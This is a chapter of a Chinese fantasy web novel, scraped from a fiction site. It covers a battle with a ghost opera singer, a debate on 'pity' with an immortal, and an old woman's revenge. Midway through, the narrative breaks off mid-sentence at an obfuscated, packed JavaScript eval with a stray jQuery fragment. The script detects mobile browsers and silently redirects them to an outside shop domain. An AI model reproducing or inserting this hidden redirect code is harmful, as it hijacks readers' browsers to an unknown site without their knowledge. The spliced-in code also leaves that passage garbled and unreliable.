文趣网 > 其他小说 > 镜中捉妖记 > 44. 童子钱 (五)
    小怜跃下戏台,折扇打在闲云剑上,迸出好大的力来。

    闲云轻眯双眼,躲过一击。小怜身法极快,闲云却只躲不攻。在外人看来,正是红光大作,白光式微。

    茯苓有些担心:“他不会有事吧?”

    关棋竖起耳朵,一秒不肯松懈:“闲云应当心中有数。”

    闲云又躲过几招,小怜的路数他便摸个齐全。他眸光微闪,腕上使力,拉住小怜探出的水袖,饶麻花一般拧成绳结。小怜自然焦急,她飞身旋转,试图松散袖畔。闲云趁此时,闪到小怜身后,斩妖剑直朝后心而来。

    小怜躲避不及,硬生生挨了一道剑气。她浑身的骨骼咯吱作响,一节节地重组,头颅扭到背后,怒目圆睁。

    自小怜身后,分出数十个纸扎人来,她们都皆着戏装,将几人围得水泄不通。

    关棋瞄准时机,弯弓射出双剑,两个纸人化为齑粉。他朝茯苓道:“你那边如何?”

    茯苓手起刀落,割破了近前的纸人的头颅。她只能近身攻击,还须得看顾身后人的安危,难免有些吃力。关棋三两下解决了身边的纸人,反身拉满弓,将茯苓鞭长莫及的纸人串成了糖葫芦。

    闲云却将小怜越引越远,小怜甩出的水袖绊住他的双脚。闲云借着水袖的力气在空中飞旋了几圈,就在将要砸落地上时,手中斩妖剑替了拐杖。他翻过身来,利落地横剑重挥,两条布片斩落在地,露出一截枯瘦的手来。

    小怜气得哇呀呀乱叫,鲜红的唇咧着,露出森森白牙。闲云瞧准时机,剑刃刺中小怜肩胛。此时,白光大盛,二人身形快如影。

    茯苓和关棋齐将铜镜对准二人。光斑聚集着,将白光凝聚得更浓更大,近乎膨胀到整个黑暗迷境中。

    小怜停了动作,蜷曲在地上,一条蠕虫般上下扭动。她的枯手弯曲似鸡爪,指节扭曲。闲云趁此机会,横剑对准镜面折射出的光点,那些光斑越积越大,他一声厉喝,活生生破出一条通道来。

    茯苓早就背好了尽夏,关棋背着方询意,怀里抱着逢春。二人相视一眼,直朝那通道跑去。

    闲云纹丝未动,他须得撑住这条通道,方能让友人逃出生天。二人的身影消失在白光的尽头。

    闲云额上布满豆大汗珠,他斜睨着一旁蠕动的小怜,嘴角溢出一丝黑血。他内力亏空,方才本就是以命相抵。若是按照闲云的功夫,小怜其实不足为道。但他今日亏空损耗甚大,早就是强弩之末。

    他双膝一软,撑着剑跪了下去。那条通道本就是他用了最后一成气力勉强劈开的,生路近在咫尺,但却再没了力气。

    闲云只觉眼前景物好似覆上一层黑纱,影影绰绰,耳畔响起一个女子的吟哦声。

    “可知刘阮逢人处?回首东风一断肠。”

    铺在眼皮上的,是刺眼的光。闲云的鼻翼微动,泥土的味道钻进身体之中。耳朵却依然不住的嗡鸣着。他能听见一些声音,可那些声音仿佛从水底传来,还未到达耳畔便沉于波浪。

    闲云感到肺叶在抽痛,他大力地咳喘,呕出一些血块。在感受到咸腥味之后,他的一切忽然通了。

    闲云睁开了眼,虽然视物依然模糊,但能看出有几个人蹲在自己面前。

    他干裂的嘴唇翕动,吐出了模糊不清的音节。

    “快逃……”

    一声苍老的叹息唤醒了他。那人似是站在不远处:“你是个痴情种,我本可以放你们一条生路,奈何你们撞破了太多太多,老身也无能为力。”

    说话者正是谢老夫人,她依旧拄着那柄盘龙杖,身边站着的却是那清风霁月的上清童子。

    “你这假慈悲的老妇!设局引我们五人入了你的迷局,还不是任你摆布?而今到了这步田地,你还要故作姿态,我呸!”

    茯苓气得脸颊涨红,她鲜少与人争执,而今身边人伤的伤,昏的昏,再也压不住那股火。恨不能上前亲手剜了她。

    关棋拉住茯苓,如今情形连背水一战都算不得。五个人里,最能打的闲云和尽夏已然难以顶上。逢春通得机巧之术,她若在身侧,定然能有一丝生机。可她眼下还被定住。惟剩下他这个只会拉弓的书生和一个半吊子都不是的茯苓。

    他看了眼背上的箭袋,这弓箭还是逢春所制,而今也所剩无几。关棋叹道:“宁为百夫长,胜作一书生。”

    之前从未觉得此言有理,他到底是自恃才高,认为一生多少都不会沦落至此。可人算不如天算,关棋平生头次生出悔意。他并不懊悔踏上这条险途,不过懊悔自己平生只靠一张巧嘴,如今一张嘴只怕救不得他们一干人性命。

    茯苓是个血性的女子,她心里没那么多伤春悲秋,感古伤今的想法。她心一横,短刀出鞘,大不了便是一死。

    可奈关棋的手死死按住剑鞘,似是算准了她的想法。茯苓瞪了关棋一眼:“难道我们就站在这儿等死吗?”

    关棋摇头:“上清童子实非你我能敌之人,不可莽撞送死。”

    茯苓安静下来,犹疑地盯着他:“你想出什么聪明法子了?莫不是想说通那神仙,求他老人家大发慈悲,放我们几个可怜人一条生路?”

    茯苓的话反倒让关棋心念一动,他忽而轻笑,一双狭长眼睛透出狡黠:“好茯苓,这是你想出的聪明法子。”

    茯苓愣在原地,她明白关棋的想法。她看向尽夏,她依靠在枯树之下,此刻仍安静的合眼安睡。茯苓的心微微颤动,她狠狠点头:“好,我信你。”

    她明亮的眼里折射着隐约的天光,有着淡淡的棕:“大不了就是一起死,也算是应了结义的誓言。”

    茯苓也不知道自己有没有赴死的决心,但她想着,若是能陪着小姐,便无所谓去做。何况几个人一路走来,她生出许多舍不得的心思。越是舍不得的情,越能舍下这条命。

    关棋被她的话鼓舞许多,他轻笑着颔首,将她拉到身后,转朝着谢老夫人和上清童子的方向蹒跚而去。

    谢老夫人见他跛着条腿,死到临头还能笑得出来,只以为这人疯了。

    她微眯着眼,面庞上的深褶随着她的笑容扯动着:“关家二郎,你是个作文章的才子,老身可以放你一条生路,但你那些朋友,都得留下。”

    关棋脊背挺拔,他面上带着应有的傲气:“老夫人佛口蛇心,早就对我心存杀机,想来也做好搪塞关家的一应准备。不过,我早留有后手,谢家贪墨的税银,一应账簿早存在我的府中。若是我今日仍未归家,便会快马呈送京城。”

    谢老夫人却不惧,她笑眯眯道:“好手段,但老身对此无所谓。”

    关棋眉梢轻挑,戏谑道:“原来如此,想来老夫人对谢家恨得打紧,莫非,那怨鬼小怜与老夫人有关?”

    谢老夫人闻言,面上染着一层薄怒,她平复了波动的情绪:“死到临头还牙尖嘴利。”

    谢老夫人的情绪反常反而印证了关棋的猜测。他道:“关爱孙儿的心是假,恨他背后的血脉才是真?”

    关棋试探道:“昔日听闻老夫人年轻时会唱戏,因而深得谢公爷的爱。小怜也会唱戏,莫非你二人……”

    谢老夫人手中的盘龙杖重重击地:“仙长,还烦您处置了他们。”

    一直在老夫人身侧沉默的上清童子缓缓抬眼,他叹息一声:“终究还是走到了这一步。”

    关棋后退半步,眸光闪烁,他朝上清童子看去:“听闻仙长素喜与人论道,古与东方朔结缘,如今也与方询意相谈甚欢,我说得可对?”

    上清童子颔首,他道:“某之所好,不过道也。”

    关棋道:“那今日,你我便也论一论这道可好?以道为赌,你可敢来?”

    上清童子不解,他抚平袖口的褶皱,但却来了兴趣:“哦?你欲论何?又欲赌何?”

    “论一故事,赌一生路。”

    荒园中静了一瞬,上清童子看着四周的破败,目光最后落在谢老夫人身上:“雀娘,你觉如何?”

    关棋却并不惊讶,他的眼睛跳跃在上清童子和谢老夫人之间。脑海中再次浮现那怨鬼的模样,他微眯了眼,兀自一笑。闲云当时御敌难以分心,而他看得分明。这小怜分明与谢老夫人有眉眼相似之处。纵然一人已然苍老,但那眉宇间的愁绪,总归是一样的。

    关棋见谢老夫人并不回答,他朗声道:“想得如何?”

    上清童子被他的话勾起了兴趣,他广袖一挥,颔首道:“请,若你的故事不得某心,休怪某无情。”

    “道亦无情,我自然愿赌服输。”

    关棋扔下手中重弓,把它妥帖地放在逢春身侧。而后理好沾染秽土和鲜血的衣袍,一瘸一拐地站定。

    “我今日要论的故事,足以以古通今,若我论对了,便是我赢。”

    “规矩由某来定,故事对了放两条命,论道胜了,某让你们全须全尾的回去。”

    关棋与上清童子对峙着。关棋回首看向身后的四人,眸光轻轻扫过他们,在逢春处点过一点。良久,他点头应下。

    “古时有个罗伊国,那里有位国主,是个令山兽鱼虫都闻风丧胆的暴君。但是他的国祚却绵延百年,国内无一民敢反抗,仙长可知为何?”

    上清童子思索一瞬:“治下皆为愚民,方能忍暴政。”

    关棋摇摇头:“错,愚民亦有界线,若苛政超过负荷,总有人会揭竿而起。”

    他道:“那位国主血祭生人,以怨鬼护卫自己,以求富贵荣华得以存续。后来,他的邻国举兵攻打罗伊国,怨鬼强大,帮助国主抵御了邻国的兵马,但却也损耗了力量,须得沉睡。仙长以为,这位国主当如何?”

    上清童子不假思索道:“再生祭一人,以维政权。”

    关棋弯唇点头,小腿的伤处隐隐作痛,他按着大腿忍痛道:“正是,但是却出了岔子,生祭的人要选怨鬼的后代,方能有效,可这后代却不知所踪,国主没了怨鬼护佑,只得带着旧部逃至山林,等怨鬼苏醒,他好再归故土。”

    上清童子听着故事,心如明镜:“你的故事某已明白,不必再讲。”

    关棋佯装不懂:“仙长当真如此妙算?连着杜撰的罗伊国的故事都知道?你就不想知道这国主的结局是什么?后代的结局又如何?”

    他一面说着,手指在空中轻轻点了点远处的暖阁和近处的谢老夫人。关棋眉眼带笑,却教人平白生出几分惧意来。

    上清童子偏头看向谢老夫人:“雀娘,他什么都知道了。”

    关棋道:“想来谢老夫人便是那怨鬼小怜的女儿,雀娘吧。”

    关棋不卑不亢,见他二人皆是沉默,慢悠悠道:“我这故事还未讲完。昔年帮助那国主生祭的高人,其实心生怜悯,对这怨鬼起了救她于生天的心思,这出逃的独女和高人一齐筹谋了救母于生祭的法子。”

    他亮出从闲云处讨来的童子花钱,不多不少刚好五枚:“五枚童子花钱,怨鬼还要庇佑国主一家五代人,我们五人,一人一枚,入了这祭阵,换独女的阿娘。”

    “我说得是也不是?”

    关棋眼中透着狡黠,还是那吊儿郎当的模样。

    上清童子对他的兴趣越来越浓。他道:“你不只是个书生,比你那些朋友明白得要广多了,他都不知道的事情,你怎么猜的出来?”

    关棋的手指摩挲着铜钱的纹路:“在下不才,恰巧涉猎得广泛。先前随家父去湘南做生意时,同一位老头儿学了一些,如何做生祭,也算略知一二。”

    他话锋一转:“故事对了,放两条命,仙长金口玉言,莫

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17653125|203117||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    要反悔。”

    上清童子身侧的雀娘焦急地向前探了一探,却被他轻轻拦住。

    “晕在地上那侠女的命,和你方才多瞧了一眼的女郎的命,自可出去了。”

    上清童子话音方落,雀娘急道:“那女子不可!她是吴树生的女儿!”

    雀娘抓住童子的衣袖:“我与她阿父的仇,你并非全然不知。”

    她昏黄的眼珠里透出切齿的恨意:“若非当初他不收我为徒传我武功,我便不会被谢贼占去,便能把我阿娘的身子偷出来,血洗谢家满门以解我心头之恨。”

    “若谢家是贼,那吴树生便是助纣为虐的豺狼。”

    “他女儿既然落在我手里,便不能活!”

    此言一出,茯苓和关棋皆是一愣。茯苓看向尽夏,她猛然开口:“我家小姐与你的仇有何干系!”

    她朝着上清童子怒骂道:“你这道人,不分青红皂白…”

    不等她说完,关棋喝道:“茯苓!”

    五人性命,系数全在上清童子一念之间。关棋现在只能救得一人是一人,他朝上清童子道:“还请仙长履诺。”

    上清童子袖袍一挥,那荒园空地上凭空开了一道门,门外便是寂静的长街。他长指轻点,茯苓和逢春僵硬地直起身子,任茯苓怎么努力挣脱都无法地走出了那门。

    他懒怠道:“两条命你已救了。”

    关棋收回目光:“仙长这般确定我赢不得这论道?”

    上清童子的狭长眼睛睥睨着他,扯出一丝淡笑:“三个人留给我祭阵也够了,陪你玩玩也不是不能。”

    关棋死死盯着他,却释然笑道:“我所论的道,最是俗套。”

    上清童子做出请便的神色,关棋一字一句道:“便论可怜二字,仙长以为何为可怜?”

    “可怜?”

    上清童子把这两个字在唇畔碾磨来去,他道:“你与某论的非修仙之道。”

    关棋一双眼直勾勾地:“非也,仙长狭隘了。道德经最闻名的一言便是道可道,非常道。私以为,老子所言之道,非单一之道。恰恰相反,道法无相,我这可怜二字,如何非道?”

    上清童子沉吟片刻:“洗耳恭听。”

    关棋道:“可怜二字,并非只为引人发同情心,落同情泪。这二字背后藏的其实是皆苦。受苦之人怜更苦之人。此为可怜。”

    “人为鱼虫走兽苦,苦其无心智。神为人苦,苦其受红尘煎熬。是以有道。此世人追逐修仙,无非是想不再受人苦,可神亦苦。其苦不为人知。”

    “若众人皆可怜,仙长今日对我五人所为,便是违了这可怜之道。”

    上清童子捻起袍袖,缓缓开口:“非也,人只受半苦,因而求得半怜。”

    他解释道:“所谓半苦,人与人之间的因缘际会抵去半苦,余得半苦。谢氏先祖暴戾无道,不值得可怜。小怜是为怨鬼,贪图谢氏富贵而委身于暴戾之人,只得半怜。某怜她这一半,因而应下雀娘请求。二者相抵,半苦也没有了。”

    “至于你们五人,当初吴树生本可以收雀娘为徒,亦或可杀了她。他虽看出雀娘复仇心切,心术不正,仍留她一命,此为半错。有仇报仇,有冤报冤,父亲的仇报在女儿身上,相抵了。”

    关棋听明白了他这一番没头没尾的话,笑出声来:“仙长这是拨着算盘算账?”

    上清童子道:“某先前也认为世事熬煎,万物难活。昔年侍奉汉皇之时,公道只在帝王心,他不值得可怜。后来见到兵祸四起,人与走兽无异,起兵者亦不可怜。知文字者矮于白丁,卖子者矮于无子者。若人人皆可怜,便自没了公道。”

    “你为富家子,捉妖师为高人徒,我放走一个奴婢和一个高门小姐,留下抵得雀娘仇的人,正符合你说的可怜之道。”

    关棋忽道:“若我为持算盘者,结果却与你大有不同。”

    见上清童子挑眉,他道:“你甚至没资格做持算盘者。你为地仙,无需忍受贫病疾苦,自是逍遥自在。非可怜之人,如何能懂生人之苦?”

    关棋冷笑:“你说我是富家子便不能言苦,但在此处,我与雀娘和小怜无亲无故,无冤无仇。自今日,还落得半瘸,为人设局陷害,自是徒增可怜。”

    他回身指向闲云:“他虽为高人徒,却和父母双亡没区别。小小年纪尝生离之苦,怎能言其不苦?”

    他的手点向尽夏:“我二人之苦便能抵去她与雀娘之间的怨。你甚至不能是持算盘者,只是一个着相之人。若按你此番相比,雀娘纵有家恨,她偏引无辜之人入局,此为暴戾滥杀。此一罪便可抵去她的苦。”

    关棋道:“冤有头债有主,若想复仇,你二人自去寻谢家的仇。你身为仙人,视性命如草芥,依我看,不仅持算盘者的资格没有,甚至助纣为虐,罪加一等!披着袍子就想做判官,你枉生百余年!”

    “如此一算,仙长,这荒园中的几人里,罪大恶极的只有两人。”

    他目视面前的二人:“不过一童子,一雀娘也。”

    关棋这番加减乘除,怨怨相抵,把二人听得愣怔住了。好一会儿,上清童子叹道:“你身上竟有故人之姿。”

    上清童子凝注着关棋,他道:“某以为所谓道论已是某心之论。而今看来,墓室狭窄,心也狭窄。你说的对,我枉生百余年。”

    他广袖一挥,那门再现跟前:“你们走罢。”

    上清童子话音未落,却听雀娘喝道:“我不准!”

    说时迟那时快,一道残影闪到枯树近前,却听见刀刃刺破皮肉的声音,关棋猛地回头,那匕首已然插进尽夏的胸口,渗出鲜红的血。

    雀娘仰天笑道,一滴泪划过苍老的面颊:“娘,女儿为你报仇了,一个都别想活!”